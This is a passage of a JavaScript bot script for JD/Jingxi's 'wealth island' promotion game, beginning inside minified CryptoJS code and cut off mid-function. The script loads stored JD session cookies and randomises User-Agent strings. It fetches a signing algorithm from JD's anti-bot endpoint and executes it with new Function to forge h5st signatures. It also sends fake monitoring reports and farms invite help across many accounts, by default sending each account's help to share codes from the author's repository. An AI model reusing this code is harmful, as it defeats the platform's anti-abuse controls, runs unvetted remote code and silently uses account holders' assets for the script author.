612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); + + +const $ = new Env('财富大陆互助'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +// const notify = $.isNode() ? require('./sendNotify') : ''; +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +let UA = `jdapp;iPhone;10.0.5;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};` +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +$.InviteList = [] +$.innerInviteList = []; +const HelpAuthorFlag = true;//是否助力 true 助力,false 不助力 + +let codeIndex = $.getval('gua_wealth_island_codeId') || '' // 定义提交助力码的账号如2,3,5 +if ($.isNode() && process.env.gua_wealth_island_codeId) { + codeIndex = process.env.gua_wealth_island_codeId; +} +let codeIndexArr = [] + +// 热气球接客 每次运行接客次数 +let serviceNum = 10;// 每次运行接客次数 +if ($.isNode() && process.env.gua_wealth_island_serviceNum) { + serviceNum = Number(process.env.gua_wealth_island_serviceNum); +} + +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +$.appId = 10032; + +!(async () => { + if (!cookiesArr[0]) { + $.msg('', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return + } + await getCode() + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i] + ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + UA = `jdapp;iPhone;10.0.5;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};` + console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); + await run(); + } + } + // 助力 + let res = [], res2 = []; + $.InviteLists = [] + let getShareNum = 10 + let getShareNums = 0 + if (HelpAuthorFlag) { + $.innerInviteList = await getAuthorShareCode('https://raw.githubusercontent.com/smiek2221/updateTeam/master/shareCodes/wealth_island_code_one.json'); + if(!$.innerInviteList[0]) $.innerInviteList = await getAuthorShareCode('https://gitee.com/smiek2221/updateTeam/raw/master/shareCodes/wealth_island_code_one.json'); + res2 = await getAuthorShareCode('https://raw.githubusercontent.com/smiek2221/updateTeam/master/shareCodes/wealth_island_code.json'); + if(!res2[0]) res2 = await getAuthorShareCode('https://gitee.com/smiek2221/updateTeam/raw/master/shareCodes/wealth_island_code.json'); + getShareNums = [...res, ...res2].length >= getShareNum ? getShareNum : [...res, ...res2].length + $.innerInviteLists = getRandomArrayElements([...res, ...res2], [...res, ...res2].length >= getShareNum ? getShareNum : [...res, ...res2].length ); + $.InviteLists.push(...$.InviteList,...$.innerInviteList,...$.innerInviteLists); + }else{ + $.InviteLists.push(...$.InviteList); + } + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.5;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};` + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + if ($.InviteLists && $.InviteLists.length) console.log(`\n******开始【邀请好友助力】(当前有${$.InviteList.length}+${getShareNums}个助力码)*********\n`); + for (let j = 0; j < $.InviteLists.length && $.canHelp; j++) { + $.inviteId = $.InviteLists[j]; + console.log(`${$.UserName} 助力 ${$.inviteId}`); + let res = await taskGet(`story/helpbystage`, '_cfd_t,bizCode,dwEnv,ptag,source,strShareId,strZone', `&strShareId=${$.inviteId}`) + if(res && res.iRet == 0){ + console.log(`助力成功: 获得${res.Data && res.Data.GuestPrizeInfo && res.Data.GuestPrizeInfo.strPrizeName || ''}`) + }else if(res && res.sErrMsg){ + console.log(res.sErrMsg) + if(res.sErrMsg.indexOf('助力次数达到上限') > -1 || res.iRet === 2232 || res.sErrMsg.indexOf('助力失败') > -1){ + break + } + }else{ + console.log(JSON.stringify(res)) + } + await $.wait(1000); + } + $.InviteLists = [] + $.innerInviteLists = getRandomArrayElements([...res, ...res2], [...res, ...res2].length >= getShareNum ? getShareNum : [...res, ...res2].length ); + $.InviteLists.push(...$.InviteList,...$.innerInviteList,...$.innerInviteLists); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }).finally(() => { + $.done(); + }) +async function run() { + try{ + $.HomeInfo = '' + $.LeadInfo = '' + $.buildList = '' + $.Fund = '' + $.task = [] + $.Biztask = [] + $.Aggrtask = [] + $.Employtask = [] + + await GetHomePageInfo() + + if($.HomeInfo){ + $.InviteList.push($.HomeInfo.strMyShareId) + console.log(`等级:${$.HomeInfo.dwLandLvl} 当前金币:${$.HomeInfo.ddwCoinBalance} 当前财富:${$.HomeInfo.ddwRichBalance} 助力码:${$.HomeInfo.strMyShareId}`) + if(HelpAuthorFlag && codeIndexArr.includes($.index)){ + await updateIsland($.HomeInfo.strMyShareId) + await infoIsland() + } + } + if($.LeadInfo && $.LeadInfo.dwLeadType == 2){ + await $.wait(2000) + console.log(`\n新手引导`) + await noviceTask() + await GetHomePageInfo() + await $.wait(1000) + } + await $.wait(2000) + } + catch (e) { + console.log(e); + } +} +async function GetHomePageInfo() { + let additional= `&ddwTaskId&strShareId&strMarkList=guider_step%2Ccollect_coin_auth%2Cguider_medal%2Cguider_over_flag%2Cbuild_food_full%2Cbuild_sea_full%2Cbuild_shop_full%2Cbuild_fun_full%2Cmedal_guider_show%2Cguide_guider_show%2Cguide_receive_vistor` + let stk= `_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strShareId,strZone` + $.HomeInfo = await taskGet(`user/QueryUserInfo`, stk, additional) + if($.HomeInfo){ + $.Fund = $.HomeInfo.Fund || '' + $.LeadInfo = $.HomeInfo.LeadInfo || '' + $.buildInfo = $.HomeInfo.buildInfo || '' + if($.buildInfo.buildList){ + $.buildList = $.buildInfo.buildList || '' + } + } +} + + +async function noviceTask(){ + let additional= `` + let stk= `` + additional= `` + stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` + await taskGet(`user/guideuser`, stk, additional) + additional= `&strMark=guider_step&strValue=welcom&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_over_flag&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_over_flag&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=gift_redpack&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=none&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) +} + +function taskGet(type, stk, additional){ + return new Promise(async (resolve) => { + let myRequest = getGetRequest(type, stk, additional) + $.get(myRequest, async (err, resp, _data) => { + let data = '' + try { + let contents = '' + // console.log(_data) + data = $.toObj(_data) + if(data && data.iRet == 0){ + // console.log(_data) + }else{ + // 1771|1771|5001|0|0,1771|75|1023|0|请刷新页面重试 + // console.log(_data) + } + contents = `1771|${opId(type)}|${data && data.iRet || 0}|0|${data && data.sErrMsg || 0}` + await biz(contents) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); +} +function getGetRequest(type, stk='', additional='') { + let url = ``; + if(type == 'user/ComposeGameState'){ + url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}&strZone=jxbfd&dwFirst=1&_=${Date.now()}&sceneval=2` + }else if(type == 'user/RealTmReport'){ + url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}${additional}&_=${Date.now()}&sceneval=2` + }else{ + let stks = '' + if(stk) stks = `&_stk=${stk}` + if(type == 'GetUserTaskStatusList' || type == 'Award' || type == 'Award1' || type == 'DoTask'){ + let bizCode = 'jxbfd' + if(type == 'Award1'){ + bizCode = 'jxbfddch' + type = 'Award' + } + url = `https://m.jingxi.com/newtasksys/newtasksys_front/${type}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=3&_cfd_t=${Date.now()}${additional}${stks}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1` + }else if(type == 'user/ComposeGameAddProcess' || type == 'user/ComposeGameAward'){ + url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&__t=${Date.now()}${additional}${stks}&_=${Date.now()}&sceneval=2`; + }else{ + url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=${additional}${stks}&_=${Date.now()}&sceneval=2`; + } + url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': $.cookie, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + + } + } +} + +function biz(contents){ + return new Promise(async (resolve) => { + let myRequest = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': $.cookie, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + } + } + $.get(myRequest, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + }); +} + +function opId(type){ + let opId = 5001 + if(type == "user/QueryUserInfo") opId = 1 + if(type == "user/GetMgrAllConf") opId = 3 + if(type == "story/QueryUserStory") opId = 5 + if(type == "user/GetJdToken") opId = 11 + if(type == "story/CouponState") opId = 13 + if(type == "story/WelfareDraw") opId = 15 + if(type == "story/GetWelfarePage") opId = 17 + if(type == "story/SendWelfareMoney") opId = 19 + if(type == "user/SetMark") opId = 23 + if(type == "user/GetMark") opId = 25 + if(type == "user/guideuser") opId = 27 + if(type == "user/createbuilding") opId = 29 + if(type == "user/BuildLvlUp") opId = 31 + if(type == "user/CollectCoin") opId = 33 + if(type == "user/GetBuildInfo") opId = 35 + if(type == "user/SpeedUp") opId = 37 + if(type == "story/AddNoticeMsg") opId = 39 + if(type == "user/breakgoldenegg") opId = 41 + if(type == "user/closewindow") opId = 43 + if(type == "user/drawpackprize") opId = 45 + if(type == "user/GetMoneyDetail") opId = 47 + if(type == "user/EmployTourGuide") opId = 49 + if(type == "story/sellgoods") opId = 51 + if(type == "story/querystorageroom") opId = 53 + if(type == "user/queryuseraccount") opId = 55 + if(type == "user/EmployTourGuideInfo") opId = 57 + if(type == "consume/TreasureHunt") opId = 59 + if(type == "story/QueryAppSignList") opId = 61 + if(type == "story/AppRewardSign") opId = 63 + if(type == "task/addCartSkuNotEnough") opId = 123 + if(type == "story/GetActTask") opId = 125 + if(type == "story/ActTaskAward") opId = 127 + if(type == "story/DelayBizReq") opId = 131 + if(type == "story/queryshell") opId = 65 + if(type == "story/QueryRubbishInfo") opId = 67 + if(type == "story/pickshell") opId = 69 + if(type == "story/CollectorOper") opId = 71 + if(type == "story/MermaidOper") opId = 73 + if(type == "story/RubbishOper") opId = 75 + if(type == "story/SpecialUserOper") opId = 77 + if(type == "story/GetUserTaskStatusList") opId = 79 + if(type == "user/ExchangeState") opId = 87 + if(type == "user/ExchangePrize") opId = 89 + if(type == "user/GetRebateGoods") opId = 91 + if(type == "user/BuyGoods") opId = 93 + if(type == "user/UserCashOutState") opId = 95 + if(type == "user/CashOut") opId = 97 + if(type == "user/GetCashRecord") opId = 99 + if(type == "user/CashOutQuali") opId = 101 + if(type == "user/GetAwardList") opId = 103 + if(type == "story/QueryMailBox") opId = 105 + if(type == "story/MailBoxOper") opId = 107 + if(type == "story/UserMedal") opId = 109 + if(type == "story/QueryMedalList") opId = 111 + if(type == "story/GetTakeAggrPage") opId = 113 + if(type == "story/GetTaskRedDot") opId = 115 + if(type == "story/RewardSign") opId = 117 + if(type == "story/helpdraw") opId = 119 + if(type == "story/helpbystage") opId = 121 + if(type == "story/AddSuggest") opId = 133 + return opId +} + +async function requestAlgo() { + $.fp = (getRandomIDPro({ size: 13 }) + Date.now()).slice(0, 16); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + headers: { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'User-Agent': UA, + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fp, + "appId": $.appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + const { ret, msg, data: { result } = {} } = JSON.parse(data); + $.token = result.tk; + $.genKey = new Function(`return ${result.algo}`)(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getRandomIDPro() { + var e, + t, + a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, + n = void 0 === (n = t.dictType) ? 'number' : n, + i = ''; + if ((t = t.customDict) && 'string' == typeof t) e = t; + else + switch (n) { + case 'alphabet': + e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + break; + case 'max': + e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; + break; + case 'number': + default: + e = '0123456789'; + } + + for (; a--;) i += e[(Math.random() * e.length) | 0]; + return i; +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlQueryParams(url, '_stk') : '') + if (stk) { + const timestamp = format("yyyyMMddhhmmssSSS", time); + const hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlQueryParams(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return 